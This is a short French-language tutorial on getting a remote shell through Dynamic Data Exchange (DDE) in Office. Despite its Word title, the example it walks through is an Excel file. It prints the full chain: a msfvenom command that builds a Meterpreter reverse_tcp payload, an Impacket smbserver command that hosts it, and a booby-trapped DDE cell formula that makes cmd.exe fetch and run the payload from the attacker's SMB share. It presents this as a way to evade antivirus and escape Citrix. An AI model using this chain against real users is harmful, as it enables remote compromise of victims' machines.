Exploit DDE sur Microsoft Word

Jusqu'à maintenant nous avons exploité les documents word via l'utilisation de macro dans le but d'exécuter un binaire et ainsi récupérer un shell meterpreter. Ce vecteur d'attaque étant privilégié des attaquants il a vite été monitoré et/ou bloqué que ce soit par nos anti virus ou encore les solutions telles que Windows Defender.

Ce que les éditeurs de ces solutions ne savaient pas c'est que la suite Office met à disposition des utilisateurs un protocole qui va nous permettre d'exécuter du code à distance sans utiliser de macro: DDE. DDE (Dynamic Data Exchange) est un protocole permettant d'échanger des données entre plusieurs applications Office qui a été introduit dans les années 90.

L'exécution de code via DDE dans un fichier Excel est la plus simple à mettre en place. First of all on créé notre payload:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.26 LPORT=4444 -f exe > meterpreter.exe 

Ensuite on va créer un serveur SMB accessible publiquement via le script Impacket smbserver:

sudo python2 smbserver.py hello $HOME/Desktop -smb2support

Puis nous allons créer un handler via msfconsole:

Enfin nous allons piéger notre document Excel en ajoutant la formule suivante dans une cellule:

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c \\192.168.0.26\hello\meterpreter.exe'!''

La fenêtre suivante popera:

Et si on clique sur "Oui" alors on recevra un shell meterpreter:

Ce vecteur d'attaque est particulièrement intéressant lorsqu'il s'agit d'échapper à un environnement bureautique tel que Citrix.